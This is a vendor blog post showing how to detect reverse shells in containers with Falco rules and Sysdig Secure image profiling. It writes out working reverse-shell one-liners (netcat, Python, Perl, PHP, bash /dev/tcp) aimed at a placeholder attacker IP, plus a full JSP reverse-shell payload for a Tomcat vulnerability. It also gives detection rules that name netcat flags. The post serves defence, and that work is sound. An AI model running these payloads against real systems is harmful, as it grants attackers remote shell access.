Detect reverse shell with Falco and Sysdig Secure

By Kaizhe Huang - MAY 28, 2020

SHARE:

Facebook logo LinkedIn logo X (formerly Twitter) logo

Reverse shell is a way that attackers gain access to a victim’s system. In this article, you’ll learn how this attack works and how you can detect it using Falco, a CNCF project, as well as Sysdig Secure.

Sometimes, an application vulnerability can be exploited in a way that allows an attacker to establish a reverse shell connection, which grants them interactive access to the system. Once the attacker gains this access to the system, they may conduct reconnaissance, lateral movement and try to escalate privileges. From there, they can steal sensitive data from the system or database, and install crypto miners.

The behavior conducted by the attacker from a reverse shell usually stands out from the normal application’s behavior. This difference is even more obvious in a microservice environment, given containers tend to be single, lightweight processes with rather rutinary conduct.

Falco detects this kind of abnormal behaviors in applications, containers and hosts. Sysdig Secure is the enterprise offering that not only detects abnormal behavior, but also takes response actions.

Now, let’s take a closer look at how this attack works.

↪️ Reverse shell is a way that attackers gain access to a victim’s system 🕵️‍♂️💣. Learn how this attack works and how you can detect it using @Falco_org, a CNCF project, as well as Sysdig Secure. Click to tweet

How reverse shell works

In a normal scenario, when using a remote system access tool like ssh, it’s the user (the client) who initiates a connection request to a target machine. There, the server (a ssh daemon) is listening for the incoming request. Once received, it performs authentication and, if successful, an interactive connection is established.

This is called the bind shell, and it is easy to block from attacks. Common firewall setups will block incoming traffic to port 22 and only allow ports 80 for HTTP, and 443 for HTTPS.

Reverse shell tries to circumvent these protections by reversing the roles. It is the target machine that initiates the connection request to the user end.

How reverse sell compares to bind shell. In bind shell is the attacker initiating the communication. In reverse shell is the attacked machine the one opening the communication to the attacker.

As firewalls usually have less restricted rules for outgoing traffic, instead of setting an interactive shell connection in the victim machine, an attacker could send a connection request to a shell listener on an attack machine with a public IP. A common tool to set up such a shell listener is netcat.

How to detect a reverse shell

Observing a reverse shell running is a strong indicator that part of your system has been compromised. The earlier you detect such malicious behavior, the less damage can be caused.

In this section, we’ll go over some typical reverse shell code snippets and explain how it works. Then, we’ll demonstrate how Falco can help detect reverse shell activities.

Keep in mind that there are more advanced reverse shells which are more difficult to detect. We will also demonstrate how Sysdig Secure can help detect such advanced attack scenarios.

Netcat as reverse shell

Netcat can be used to both set up a shell listener and initiate reverse shell connections from the victim machine. Here’s a quick example to setup a shell listener:

nc -l -p 1234

The command above would launch a nc server listening on port 1234. This would be done on the attacker’s side. Note that the shell server is binded to a public IP address on the attacker’s side.

On the victim side, the attacker would initiate the interactive shell connection with the following command:

nc -e /bin/bash <attacker IP> 1234

The command above runs /bin/bash after connecting to the attacker’s shell listener, thus, establishing the reverse shell.

Detect with Falco

Among Falco’s out-of-the-box rules, there’s one to detect a reverse shell. It recognizes connections initiated from a container, based on the process name and command line arguments:

- rule: Netcat Remote Code Execution in Container
  desc: Netcat Program runs inside container that allows remote code execution
  condition: >
    spawned_process and container and
    ((proc.name = "nc" and (proc.args contains "-e" or proc.args contains "-c")) or
     (proc.name = "ncat" and (proc.args contains "--sh-exec" or proc.args contains "--exec" or proc.args contains "-e "
                              or proc.args contains "-c " or proc.args contains "--lua-exec"))
    )
  output: >
    Netcat runs inside container that allows remote code execution (user=%user.name
    command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: WARNING
  tags: [network, process, mitre_execution]

The rule above detects any process named nc and its variation ncat, as well as command arguments like -e or -c. Both -e and -c flags execute commands like sh or bash after a reverse shell connection is established.

The output of the detection would be something like:

22:59:18.067815266: Warning Netcat runs inside container that allows remote code execution (user=root command=nc -e /bin/bash 34.203.xxx.xxx 1234 container_id=abaf42c1ac36 container_name=victim image=kaizheh/ubuntu:latest)

Notice that the falco event provides detailed information about this malicious behavior, such as user, command, container_id, container_name and image. Once detected, you should take action immediately, before the attacker gains extra access to the cluster.

Now, let’s take a look at other ways to establish reverse shell connection.

Reverse shell in one line script

In most cases, netcat isn’t installed inside a container or recommended to be. However, the attacker doesn’t necessarily have to install netcat, they only need to run one line of code to establish a reverse shell connection. Let’s look at a few common examples:

A Python reverse shell

Python is commonly used in production systems. It will most likely be installed already, so it may be a good option for a reverse shell connection:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

A Perl reverse shell

Perl is another good candidate to establish reverse shell connection:

perl -e 'use Socket;$i="<attacker IP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

A PHP reverse shell

If the victim container hosts a web server and uses PHP, the language is a great option for reverse shell:

php -r '$sock=fsockopen("<attacker IP>",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

A Bash reverse shell

Finally, this is the simplest way to establish a reverse shell connection in almost all Linux systems:

/bin/bash -i >& /dev/tcp/<attacker IP>/1234 0>&1

What does a remote shell attack look like?

If you look at all of the one-liners above, you may notice they all include both a network connection and a shell execution. How can we connect the dots together and detect it with Falco?

First, we need to know what an established reverse shell would look like in a container.

If we use ps aux to look at system resources like processes, network connections and open file descriptors, it would be something like:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   812 ?        Ss   16:07   0:00 sleep 3600
root         6  0.0  0.0  18508  3512 pts/0    Ss   16:07   0:00 bash
root      6693  0.0  0.0  18508  3444 pts/1    Ss   16:47   0:00 bash
root      6712  0.0  0.0   4628   784 pts/0    S+   16:47   0:00 /bin/sh -i
root      6716  0.0  0.0  34400  2820 pts/1    R+   17:01   0:00 ps aux

The sleep command (PID 1) is the entrypoint of this example image, and does nothing but sleep. The rest of the processes shouldn’t appear on a regular container.

PID 6693 and PID 6716 are running on the same TTY, pts/1, which is the current terminal, running ps aux.

PID 6 is running another shell with PID 6712, running /bin/sh -i. This is the reverse shell.

Though a reverse shell is a shell, it doesn’t mean every shell is a reverse shell. Sometimes, DevOps need to exec into a pod or container to perform debugging or admin tasks. So relying solely on a shell process launched isn’t sufficient.

Let’s also observe what the network connections look like:

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 172.17.0.2:34724        34.203.xxx.xxx:1234     ESTABLISHED

There is one tcp connection to 34.203.xxx.xxx:1234. Remember that this container does nothing but sleep, so any external network connection is suspicious.

Here, the example is clear, but in containers that perform network requests, it would be hard to differentiate which one is for the reverse shell. It would be especially difficult if the external IP address wasn’t blacklisted. This is also the challenge that firewalls face to block reverse shell connection.

Let’s now look at the open file descriptors using lsof -i:

COMMAND PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sh       20 root    0u  IPv4  80319      0t0  TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)
sh       20 root    1u  IPv4  80319      0t0  TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)
sh       20 root    2u  IPv4  80319      0t0  TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)

The lsof -i command lists the open file descriptors based on their IP addresses.

This output looks interesting. The file descriptors 0, 1 and 2 stand for STDIN, STDOUT and STDERR. What does this mean? In a terminal, STDIN means input from your keyboard while STDOUT means the output to the screen. Both of them are redirected to a remote connection. This is an indicator of reverse shell, as somebody remote is interacting with a STDIN and STDOUT of the system.

Detecting a reverse shell with Falco

Let’s create a Falco rule using what we’ve seen so far to detect these reverse shells.

Usually, when a program starts a network connection, the system will open a socket for the network connection. A socket is nothing but a file descriptor with a number assigned by the system. Each open file descriptor in the system has a number assigned and never conflicts with each other. By default, STDIN is assigned with 0, STDOUT with 1 and STDERR with 2.

We’ve seen in the examples above that a reverse shell redirects STDIN and STDOUT to an open socket with a network connection. In the Unix system, this redirection is done via the dup system call.

So, we could use dup to detect a reverse shell, and the Falco rule would look like this:

- rule: Redirect STDOUT/STDIN to Network Connection in Container
  desc: Detect redirecting stdout/stdin to network connection in container (potential reverse shell).
  condition: evt.type=dup and evt.dir=> and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6") and not user_known_stand_streams_redirect_activities
  output: >
    Redirect stdout/stdin to network connection (user=%user.name user_loginuid=%user.loginuid %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
  priority: WARNING

In the condition section, you can see this Falco rule is detecting any dup system call that duplicates file descriptors in any STDIN, STDOUT and STDERR with a network type file descriptor.

condition: evt.type=dup and evt.dir=> and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6") and not user_known_stand_streams_redirect_activities

When a reverse shell is established, the output will look like:

02:03:52.618055919: Redirect stdout/stdin to network connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=0 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
02:03:52.618067837: Redirect stdout/stdin to network connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=1 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
02:03:52.618076419: Redirect stdout/stdin to network connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=2 fd.type=ipv4 fd.sip=34.203.xxx.xxx)

The reason you see three reverse shell warning messages here is that the little perl script ran dup system calls on STDIN, STDOUT and STDERR respectively.

Advanced payload

Application’s vulnerabilities may be exploited to establish a reverse shell.

For example, in a Tomcat server affected by CVE-2017-12617 with HTTP PUT enabled, an attacker can upload malicious JSP code that will be executed by the Tomcat server. In the JSP code, the attacker can build a stream connector that joins the STDIN/STDOUT stream with the socket stream (without dup) so it becomes a reverse shell.

An example JSP payload code would look like the following:

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
    this.is = is;
    this.os = os;
}
public void run()
{
    BufferedReader in = null;
    BufferedWriter out = null;
    try
    {
        in = new BufferedReader( new InputStreamReader( this.is ) );
        out = new BufferedWriter( new OutputStreamWriter( this.os ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
        {
            out.write( buffer, 0, length );
            out.flush();
        }
    } catch( Exception e ){}
    try
    {
        if( in != null )
            in.close();
        if( out != null )
            out.close();
    } catch( Exception e ){}
}
}
try
{
Socket
socket = new Socket( "<attacker IP>″, 37779 );
Process process = Runtime.getRuntime().exec( "sh" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>

From this malicious payload, we can only know that there is a shell spawned up and there is a remote connection to an IP with port 37779.

With such a form, it becomes even harder to detect. How can we infer that this is a reverse shell without looking into the code?

Let’s see how Sysdig Secure can help.

Image profiling in Sysdig Secure

Image profiling is a feature in Sysdig Secure that helps define the expected behavior of an image.

Within 24 hours of learning a container’s behavior, a learned profile will have insight into what processes, file system activity, networking behavior and system calls are considered safe in that type of container.

After the image profile is built, DevOps and security teams can use the learned profile snapshot to create a policy set. This policy set can be applied to containers automatically, providing a scalable runtime defense for large-scale environments.

Going back to our Tomcat example from before, this is what an image profile would look like:

The profile has been built for the Tomcat image in the network connections, file activities, processes and syscalls areas.

Some details about the profile:

  • Processes run inside the Tomcat containers are: bash, dirname, java, tty and uname.
  • The listening port is 8080.
  • There is no outgoing network connection.
  • The files opened in read/write mode are: index_jsp.class, index_jsp.java, index_jsp.classtmp and a few log files.
  • And there are 43 syscalls.

Now, we can build a Sysdig Secure policy for Tomcat based on this learned profile.

Detecting a reverse shell with Sysdig Secure

We have used Metasploit to launch an attack with the malicious JSP payload.

Sysdig Secure has detected it, and here are the alerts we see:

This alert shows that there were some files written in a Tomcat container. They are java .class files, including a StreamConnector class.

This alert shows that there was an external connection initiated from a Tomcat container, in particular, from the java process.

This alert shows that a shell, sh, was spawned. Note that bash was recorded in the image profile because bash was executed as the image entrypoint.

This alert shows that a ls command was executed inside the Tomcat container.

You can expect to see more alerts like this when the attacker tries to exploit the victim by running different commands.

This is because Sysdig Secure built, from the image profile, a white list of processes which are allowed to be executed in the container. Any other process will trigger a secure policy event.

All of those images, when seen isolated, may not give enough information to find the root cause. However, the Sysdig Secure UI correlates them together. You can easily see that they happened inside the same container and around the same time. This makes it a lot easier to conclude that there was a reverse shell established inside the Tomcat container.

Conclusion

When an attacker gains access to the system, there are multiple ways to establish a reverse shell. Sometimes, the behavior of the reverse shell could be hard to detect. Only with a full knowledge of your system’s (container’s) behavior will you be able to build a trustworthy whitelist of file activities, network activities and process activities. And only then will you be able to detect anomalous activities like reverse shell inside your system with assurance.

If you are interested in a free trial of Sysdig Secure, sign up here!

Subscribe and get the latest updates